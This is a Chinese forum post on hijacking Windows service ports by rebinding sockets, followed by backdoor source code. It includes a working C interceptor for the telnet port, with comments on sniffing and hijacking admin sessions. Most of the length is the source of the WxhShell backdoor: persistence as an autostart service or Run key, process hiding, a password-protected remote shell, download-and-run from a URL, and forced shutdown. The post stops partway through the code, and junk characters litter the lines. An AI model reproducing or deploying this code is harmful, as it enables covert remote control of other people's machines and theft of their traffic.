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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NGYyn`Lx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dj\e@?Y  
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  saddr.sin_family = AF_INET; (Lh#`L?x  
s!/TU{8J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I[o*RKT'"  
ctQbp~-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DOm[*1@^  
3+MB5 T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `ir3YnT+  
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  这意味着什么?意味着可以进行如下的攻击: y0v]N  
"s W-_j]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3`9{T>  
wHz?#MW 3L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /EwGW  
{>0V[c[~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "Clz'J]{  
8 l/[(] &  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1|,Pq9  
gG54:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N132sN2   
fYebB7Pv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eT"Uxhs-}  
O`FqD{@V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OH<?DcfeL  
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  #include 3L-^<'~-k;  
  #include yh;Y,;4  
  #include Z.&\=qiY  
  #include    x@P{l&:>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6FfOH<\z6i  
  int main() }:iBx  
  { NTs;FX~g[  
  WORD wVersionRequested; wh 0<Uv  
  DWORD ret; v4?iOD  
  WSADATA wsaData; ^Cz YDq  
  BOOL val; ~Y5l+EF#  
  SOCKADDR_IN saddr; V6iL5&  
  SOCKADDR_IN scaddr; kL@Wb/K JP  
  int err; dOa!htx]  
  SOCKET s; B\j~)vg  
  SOCKET sc; '(@YK4_M  
  int caddsize; 5/ecaAB2  
  HANDLE mt; ;mm!0]V  
  DWORD tid;   (J:dK=O@Z  
  wVersionRequested = MAKEWORD( 2, 2 ); ic6L9>[  
  err = WSAStartup( wVersionRequested, &wsaData ); Y5A~E#zw  
  if ( err != 0 ) { [nN7qG  
  printf("error!WSAStartup failed!\n"); PW}OU9is  
  return -1; p5c8YfM  
  } +R$?2  
  saddr.sin_family = AF_INET; pL oy  
   "5DJu ~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V7CoZnz  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ? s} %  
  saddr.sin_port = htons(23); t> Q{yw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x49!{}  
  { J$uM 03  
  printf("error!socket failed!\n"); ~HLRfL?  
  return -1; 5$l9@0D.\  
  } mAqD jRV1  
  val = TRUE; sB}]yw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $,1dQeE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wV <7pi  
  { &R$Q\ ,  
  printf("error!setsockopt failed!\n"); W|Ldu;#  
  return -1; Iur9I>8h  
  } $&-5;4R'0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (;o*eFC F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 irxz l3   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mE $dO3  
}#9(Mul  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RpQ*!a~O  
  { 3VCqp13  
  ret=GetLastError(); pV`$7^#X  
  printf("error!bind failed!\n"); ~2%3FV^  
  return -1; 2JO-0j.  
  } F+=urc>w  
  listen(s,2); P9#)~Zm}]  
  while(1) m Pt)pn!rA  
  { tFU;SBt8Ki  
  caddsize = sizeof(scaddr); Zy$Lrr!  
  //接受连接请求 2PC5^Ni/9@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \d68-JS@~  
  if(sc!=INVALID_SOCKET) E1q%gi4Q%  
  { ;"7/@&M\m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^KHLBSc:  
  if(mt==NULL) -Q[g/%  
  { 9{J?HFw*;  
  printf("Thread Creat Failed!\n"); w$Ux?y- L  
  break; mX_)b>iW  
  } 1 tfYsg=O  
  } Ygj6(2  
  CloseHandle(mt); 3A0_C?E  
  } )q+4k m6  
  closesocket(s); AqYxWk3>  
  WSACleanup(); X\2_; zwf  
  return 0; @@pq 'iRn  
  }   ~ l )t|'6  
  DWORD WINAPI ClientThread(LPVOID lpParam) $+VgDe5{S  
  { tP'GNsq+m  
  SOCKET ss = (SOCKET)lpParam; XI}I.M  
  SOCKET sc; ;<6"JP>0  
  unsigned char buf[4096]; D u_$C[  
  SOCKADDR_IN saddr;  v4<j   
  long num; Zw=G@4xoU  
  DWORD val; mxtgb$*  
  DWORD ret; iz x[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J%P)%yX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S=9E@(]  
  saddr.sin_family = AF_INET; b~w KF0vq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jb@\i@-  
  saddr.sin_port = htons(23); rc~Y=m   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,?=KgG1i  
  { E`E'<"{Yd  
  printf("error!socket failed!\n"); : ^(nj7D  
  return -1; H1UL.g%d=  
  } Z`xyb>$  
  val = 100; gduxA/aT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q_lu`F|  
  { EVz9WY  
  ret = GetLastError(); ./iXyta  
  return -1; 9eSRCLhgD  
  } /RF%1!M K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rgR?wXW]jE  
  { el Kx]%k*)  
  ret = GetLastError(); g~R/3cm4  
  return -1; Uz>Yn&{y6  
  }  GVp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hmzair3X  
  { -Op@y2+c  
  printf("error!socket connect failed!\n"); ABiC9[Q0  
  closesocket(sc); -- S"w@  
  closesocket(ss); lZ a?Y@  
  return -1; vahf]2jEB  
  } NKh,z& _5-  
  while(1) 'Kd7l}e!  
  { `i4I!E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !u0U5>ccw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .CmL7 5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?'LM7RE$X6  
  num = recv(ss,buf,4096,0); r%[1$mTOR  
  if(num>0) 7-g^2sa'(  
  send(sc,buf,num,0); "gg(tp45  
  else if(num==0) <j"O%y.  
  break; G-8n  
  num = recv(sc,buf,4096,0); rgT%XhUS6f  
  if(num>0) n2;(1qr  
  send(ss,buf,num,0); PdjCv+R6?  
  else if(num==0) [;F{mN  
  break; VD4S_qx  
  } /C7svH  
  closesocket(ss); Ns~ g+C9  
  closesocket(sc); G;9|%yvd8  
  return 0 ; {.#j1r4J`  
  } e5qvyUJM  
-&7=uRQk  
e@+v9Bs]q  
========================================================== Ei~]iZ}  
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下边附上一个代码,,WXhSHELL o3= .T+B  
'}fel5YV  
========================================================== JOgmF_(>Z  
f-s~Q 4  
#include "stdafx.h" kI]=&Rw  
{ "}+V`O{  
#include <stdio.h> 7(5]Ry:  
#include <string.h> yHtGp%j  
#include <windows.h> 8tC+ lc  
#include <winsock2.h> 5D-BIPn=JV  
#include <winsvc.h> e18T(g_i  
#include <urlmon.h> W&LBh%"g  
ZnQ27FcW  
#pragma comment (lib, "Ws2_32.lib") %IPyCEJD  
#pragma comment (lib, "urlmon.lib") 3liq9P_  
a(g$ d2H  
#define MAX_USER   100 // 最大客户端连接数 |'@V<^GR  
#define BUF_SOCK   200 // sock buffer !yk7HaP  
#define KEY_BUFF   255 // 输入 buffer X`tOO  
sFD!7 ;  
#define REBOOT     0   // 重启 s|KfC>#  
#define SHUTDOWN   1   // 关机 D~7%};D[  
y#nSk% "t"  
#define DEF_PORT   5000 // 监听端口 w0\4Wa  
n<+~ zQ  
#define REG_LEN     16   // 注册表键长度 iF+S%aPd#  
#define SVC_LEN     80   // NT服务名长度 'bG1U`v=3  
WY3_7k8u  
// 从dll定义API U0zW9jB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UzN8G$92qF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B\NcCp`5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @!,D%]8"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -^y1iN'D  
pO5v*oONz+  
// wxhshell配置信息 l`oT:  
struct WSCFG { QM7[O]@  
  int ws_port;         // 监听端口 A>[hC{  
  char ws_passstr[REG_LEN]; // 口令 @t "~   
  int ws_autoins;       // 安装标记, 1=yes 0=no $kM '  
  char ws_regname[REG_LEN]; // 注册表键名 s%hU*^ 8  
  char ws_svcname[REG_LEN]; // 服务名 &~42T}GTWG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =CGD ~p`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (PyTq 5:F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !;ZBL;qY9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r$Yh)rpt:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NH<Y1t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?@yank|  
0LZ=`tI  
}; $)4GCP  
)|MIWgfWN  
// default Wxhshell configuration ;}n|,g>  
struct WSCFG wscfg={DEF_PORT, '[ @F%  
    "xuhuanlingzhe", ,K`E&hS  
    1, <tGI]@Nwk  
    "Wxhshell", #I bS  
    "Wxhshell", m`[oT\  
            "WxhShell Service", cYE./1D a  
    "Wrsky Windows CmdShell Service", i=x.tsJ:hB  
    "Please Input Your Password: ", f&+XPd %  
  1, BJ_+z gf`  
  "http://www.wrsky.com/wxhshell.exe", p3{x<AO/  
  "Wxhshell.exe" ]L[JS^#7  
    }; PjiNu.>2(  
t00\yb^vJ8  
// 消息定义模块 |C&%S"*+D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U#OWUZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,s\x]bh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qo]vpp^[#  
char *msg_ws_ext="\n\rExit."; X v`2hf  
char *msg_ws_end="\n\rQuit."; XPGL3[w\V  
char *msg_ws_boot="\n\rReboot..."; BLWA!-  
char *msg_ws_poff="\n\rShutdown..."; |Gf1^8:C9  
char *msg_ws_down="\n\rSave to "; tCd{G c  
5@GD} oAn6  
char *msg_ws_err="\n\rErr!"; 3w[<cq.!  
char *msg_ws_ok="\n\rOK!"; wpAw/-/  
/>2A<{6\=P  
char ExeFile[MAX_PATH]; Xp<A@2wt?  
int nUser = 0; ~R"]LbeY  
HANDLE handles[MAX_USER]; :|*Gnu  
int OsIsNt; /8 e2dw: \  
f)p>nW?Z  
SERVICE_STATUS       serviceStatus; Aqx3!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }wa}hIqx  
fho=<|-  
// 函数声明 } IIK~d,  
int Install(void); rC* sNy2  
int Uninstall(void); Ec7{BhH)  
int DownloadFile(char *sURL, SOCKET wsh); !V$6+?2   
int Boot(int flag); "#_)G7W+e  
void HideProc(void); jh<TdvF2$  
int GetOsVer(void); qAS70XjOF  
int Wxhshell(SOCKET wsl); &/J.0d-*``  
void TalkWithClient(void *cs); OpWC2t)  
int CmdShell(SOCKET sock); .E?bH V  
int StartFromService(void); chvrHvByS  
int StartWxhshell(LPSTR lpCmdLine); 4*@G&v?n  
.( TQ5/ ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z v L>(R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 12%z3/i  
h(+m<J  
// 数据结构和表定义 ~`nm<   
SERVICE_TABLE_ENTRY DispatchTable[] = =;'ope(?S  
{ F[o+p|nF  
{wscfg.ws_svcname, NTServiceMain}, &hSnB~hi  
{NULL, NULL} 2)HxW}o  
}; B,BOzpb(  
9 AQ96  
// 自我安装 E|F!S(.:,M  
int Install(void) N'lGA;}i  
{ N(:EK  
  char svExeFile[MAX_PATH]; XwHu:v'=  
  HKEY key; WI*^+E&=*  
  strcpy(svExeFile,ExeFile); c%xED%X9  
F]URf&U  
// 如果是win9x系统,修改注册表设为自启动 t  z +  
if(!OsIsNt) { J_y<0zF**  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (`q6G d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uMiD*6,$<  
  RegCloseKey(key); $ uz1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +l[Z2mW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ShEaL&'J  
  RegCloseKey(key); _G-b L;  
  return 0; kz$6}&uk  
    } ?34EJ !  
  } ZTgAZ5_cz  
} ;*<{*6;=?  
else { Nf/ hr%jL  
CA~em_dC  
// 如果是NT以上系统,安装为系统服务 0x3 h8fs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h=i A;B^>  
if (schSCManager!=0) Xa@ _^oL  
{ ~I/>i&|M1  
  SC_HANDLE schService = CreateService :uU]rBMo  
  ( [t "_}t=w  
  schSCManager, 6,V.j>z  
  wscfg.ws_svcname, A9fjMnw  
  wscfg.ws_svcdisp, m-Z'K_oQ  
  SERVICE_ALL_ACCESS, c1)BGy li  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OTNZ!U/)j  
  SERVICE_AUTO_START, Hz!U_?  
  SERVICE_ERROR_NORMAL, qJbhPY8Ak  
  svExeFile, [i<$ZP  
  NULL, 3H\b N4  
  NULL, e@2E0u4  
  NULL, ;QvvU[eb  
  NULL, laD.or  
  NULL & 8:iB {n  
  ); [`Qp;_K?t  
  if (schService!=0) n}ZBU5_  
  { ;*j6d3E  
  CloseServiceHandle(schService); ^Q43)H0  
  CloseServiceHandle(schSCManager); 3u"J4%zg|L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8IT_mjj  
  strcat(svExeFile,wscfg.ws_svcname); D 7;~x]*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Tg|aW$(*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V!kQuQJ>  
  RegCloseKey(key); x]%4M\T``  
  return 0; ,,wyydG  
    } N#-kk3!Z;  
  } y ? {PoNI  
  CloseServiceHandle(schSCManager); c^dl+-{Mc  
} =A6u=  
} '^.=gTk  
V5hlG =V  
return 1; 0N3tsIm>  
} KOAz-h@6   
XCqfAcNQ  
// 自我卸载 =xlYQ}-(a  
int Uninstall(void) gR_b~ ^  
{ S8W_$=4  
  HKEY key; DoCQFSL  
dZ]\1""#H  
if(!OsIsNt) { ^$&"<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c@ZkX]g  
  RegDeleteValue(key,wscfg.ws_regname); 0=(-8vwd  
  RegCloseKey(key); WO \lny!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gn e #v  
  RegDeleteValue(key,wscfg.ws_regname); *"wD& E?  
  RegCloseKey(key); e G*s1uQl  
  return 0; EDa08+Y  
  } aP6%OI  
} G7kFo6Cb  
} %;B(_ht<-w  
else { -SC2Zgi)A  
1 [~|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1vR#FE?  
if (schSCManager!=0) JG+g88  
{ Z+"E*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "|l oSf@  
  if (schService!=0) ).O2_<&?F  
  { wJ]$'c3  
  if(DeleteService(schService)!=0) { ezq q@t9  
  CloseServiceHandle(schService); N:gstp  
  CloseServiceHandle(schSCManager); )/N Xh'  
  return 0; xdTzG4  
  } U0|j^.)  
  CloseServiceHandle(schService); hc p'+:  
  } sVm'9k  
  CloseServiceHandle(schSCManager); u):Rw  
} <x%my4M  
} loqS?bC ]  
-WHwz m  
return 1; \<MTY:  
} a\.OL}"   
E<m"en&v  
// 从指定url下载文件 Dk{nOvZu<  
int DownloadFile(char *sURL, SOCKET wsh) "6 Hj ji@A  
{ m%$E[cUW!  
  HRESULT hr; .n|3A3:  
char seps[]= "/"; WG[0$j  
char *token;  C>K"ZJ  
char *file; $Ln2O#  
char myURL[MAX_PATH]; j"$b%|  
char myFILE[MAX_PATH]; lj}1'K@M  
PRf\6   
strcpy(myURL,sURL); A&_i]o  
  token=strtok(myURL,seps); t;a}p_>  
  while(token!=NULL) s7)# NT2  
  { EpoQV^ Ey  
    file=token; $lG--s  
  token=strtok(NULL,seps); 7[?}kG   
  } >8mW-p  
C` 1\$U~%  
GetCurrentDirectory(MAX_PATH,myFILE); 5bqYi  
strcat(myFILE, "\\"); 4#Nd;gM2  
strcat(myFILE, file); {Z~VO  
  send(wsh,myFILE,strlen(myFILE),0); 9787uj]Y}H  
send(wsh,"...",3,0); %!hA\S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7QL) }b.H  
  if(hr==S_OK) >5@ 0lYhH  
return 0; I8pxo7(-  
else o _,$`nEJ  
return 1; r Xk   
: w`i  
} kU9AfAe  
`9"jHw`D  
// 系统电源模块 M+&eh*:z:  
int Boot(int flag) Mud\Q["  
{ (S93 %ii  
  HANDLE hToken; Z YO/'YW  
  TOKEN_PRIVILEGES tkp; _q!ck0_  
B(vz$QE,$r  
  if(OsIsNt) { %$-3fj7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HvfTC<+H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f*H}eu3/j  
    tkp.PrivilegeCount = 1; [~r $US  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nv|y@! (  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <h>fip3o  
if(flag==REBOOT) { "kuBjj2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *q 9$SDm  
  return 0; )d a8 Ru  
} @P*P8v8:  
else { ).#D:eO[~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %;XuA*e  
  return 0; $,@ +Ua  
} n#AH@`&i  
  } Vh-h{  
  else { )t 7HioQ  
if(flag==REBOOT) { (YH{%8 Z0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) # 2t\>7]  
  return 0; V\lF:3C  
} JG+o~tQC  
else { Gqu0M`+7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oM7-1O  
  return 0; o+23?A~+  
} sU3V)7"  
} w9?wy#YI  
*xNjhR]7v  
return 1; HDG"a&$   
} 9Yne=R/]  
{y%O_-C'r  
// win9x进程隐藏模块 ,UJPLj^  
void HideProc(void) n7<-lQRaxZ  
{ Xpz-@fqKdf  
n6+M qN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8pKPbi;(2  
  if ( hKernel != NULL ) !LSWg:Ev+  
  { #z5?Y2t7~^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $f-pLF+x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e/~<\  
    FreeLibrary(hKernel); wA+4:CF @  
  } VFp)`+8  
RR {9  
return; 2MrR|hLx  
} "tbBbEj?d  
\DdVMn  
// 获取操作系统版本 UE](`|4H  
int GetOsVer(void) 9K_HcLO%y  
{ b<MMli  
  OSVERSIONINFO winfo; os+wTUR^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )u:8Pv  
  GetVersionEx(&winfo); 6q7Y`%j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iFT3fP'> 5  
  return 1; 4SO{cs t  
  else : .eS|  
  return 0; E0'6!9y  
} ::t !W7W  
PU\q.y0R  
// 客户端句柄模块 rMx_ <tXX  
int Wxhshell(SOCKET wsl) AYtcN4\/  
{ U}5KAi 9Z  
  SOCKET wsh; |-?b)yuAz  
  struct sockaddr_in client; eNKdub  
  DWORD myID; ~0  t'+.  
jDR\#cGrZ  
  while(nUser<MAX_USER) 35\0g&  
{ :~(^b;yhZ  
  int nSize=sizeof(client); rJ*WxOoS{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C!A_PQ2y  
  if(wsh==INVALID_SOCKET) return 1; 6!V* :.(  
jF0BWPL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SQRz8,sqkw  
if(handles[nUser]==0) +4RaN`I  
  closesocket(wsh); <AXYqH7%A  
else 2^j9m}`  
  nUser++; +w/o  
  } Zz ?y&T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XBBRB<l)  
TMs\#  
  return 0; [r~l O@  
} L 3Iz]D3s  
{=Y&q~:8v  
// 关闭 socket CF4y$aC#  
void CloseIt(SOCKET wsh) $t?e=#G  
{ e1a%Rj~  
closesocket(wsh); U%olH >1K  
nUser--; [C#pMLp,~  
ExitThread(0); =1uI >[aN  
} Np)!23 "  
{RO=4ba{J  
// 客户端请求句柄 w/@%xy  
void TalkWithClient(void *cs) n[7zK'%Dxg  
{ YLr2j 7  
#.aLx$"a  
  SOCKET wsh=(SOCKET)cs; 3Pq)RD|hn  
  char pwd[SVC_LEN]; rJxT)bR  
  char cmd[KEY_BUFF]; 9tgkAU`  
char chr[1]; "d\8OOU  
int i,j; (/BkwbJyE  
CbQ%[x9|  
  while (nUser < MAX_USER) { @5ybBh]   
<>GyG-q  
if(wscfg.ws_passstr) { p5hP}Z4r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 60$    
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y2>] gX5  
  //ZeroMemory(pwd,KEY_BUFF); >TJ$Z3  
      i=0; vUNE! j  
  while(i<SVC_LEN) { pu#<qD*w  
%;gWl1&5  
  // 设置超时 Lr&tpB<  
  fd_set FdRead; ]y$C6iUY*  
  struct timeval TimeOut;  -"H9W:  
  FD_ZERO(&FdRead); f# + h_1#  
  FD_SET(wsh,&FdRead); /+7L`KPD  
  TimeOut.tv_sec=8; ' ga2C\)  
  TimeOut.tv_usec=0; M>j)6?n`_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bL%)k61G_v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t$2{U  
R&p53n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XDQ1gg`  
  pwd=chr[0]; YKk%;U*  
  if(chr[0]==0xd || chr[0]==0xa) { _XtY/7n  
  pwd=0; ^m9cEl^:nQ  
  break; XQPJ(.G  
  } ];YOP%2   
  i++; jTIn@Q  
    } c9'b `#'  
}#M|3h;q9+  
  // 如果是非法用户,关闭 socket UYUd IIoL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ySZ)yT  
} P{ o/F  
G_@H:4$3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u8QX2|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }"v "^5  
`x3c},'@k  
while(1) { D1a4+AyI  
#e[5O| V~  
  ZeroMemory(cmd,KEY_BUFF); !k) ?H* ^@  
{s]eXc]K}  
      // 自动支持客户端 telnet标准   ^EZoP:x(oE  
  j=0; 5q[@N  J  
  while(j<KEY_BUFF) { R<U <Y'Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ijfT!W  
  cmd[j]=chr[0]; #kA+Yqy \)  
  if(chr[0]==0xa || chr[0]==0xd) { o/#e y  
  cmd[j]=0; 2 Qy&V/E ?  
  break; d!cx%[  
  } &H6Fkza;4  
  j++; tFCeE=4%  
    } 4T" P #)z  
x.I-z@\E  
  // 下载文件 Wk?XlCj  
  if(strstr(cmd,"http://")) { Pt$7U[N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F/h)azcn  
  if(DownloadFile(cmd,wsh)) y)2]:nD`B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$>H}#q  
  else 4I$#R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sE% n=Ww  
  } e5dwq  
  else { b1+Nm  
6k-]2,\#  
    switch(cmd[0]) { % rkUy?=vu  
  \%#jT GFs~  
  // 帮助 RAvV[QkT  
  case '?': { >i '3\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TA*49Qp  
    break; TAP/gN'  
  } ^(%>U!<<%,  
  // 安装 a,X3=+_K  
  case 'i': { /dIiFr"e}G  
    if(Install()) 0W@C!mD~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+XQ!y%  
    else NGNn_1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?{uG8)  
    break; [e (-  
    } j&F&wRD%r  
  // 卸载 jd#{66:  
  case 'r': { u VB&D E  
    if(Uninstall()) v+Hu=RZE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LGK}oL'  
    else 6_XTeu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I3A](`  
    break; Mb-C DPT  
    } wI)W:mUZZ  
  // 显示 wxhshell 所在路径 xi^_C!*J  
  case 'p': { K}6}Opr,Tt  
    char svExeFile[MAX_PATH]; { aU~[5L3(  
    strcpy(svExeFile,"\n\r"); !5pp A  
      strcat(svExeFile,ExeFile); *0Fn C2W1  
        send(wsh,svExeFile,strlen(svExeFile),0); G'!Hc6OZ  
    break; ezFyd'P  
    } oo`mVRVf  
  // 重启 o+&/ N-t  
  case 'b': { o4d>c{p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t1xX B^.M{  
    if(Boot(REBOOT)) 'M&`l%dIPf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qz?9:"~$C  
    else { V<1dA\I"  
    closesocket(wsh); =>&d[G[m!  
    ExitThread(0); @A g=2\9  
    } ,w c|YI)E  
    break; &}6=V+J;  
    } > QCVsX>~  
  // 关机 +YXyfTa  
  case 'd': { w<>B4m\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &r jMGk"&  
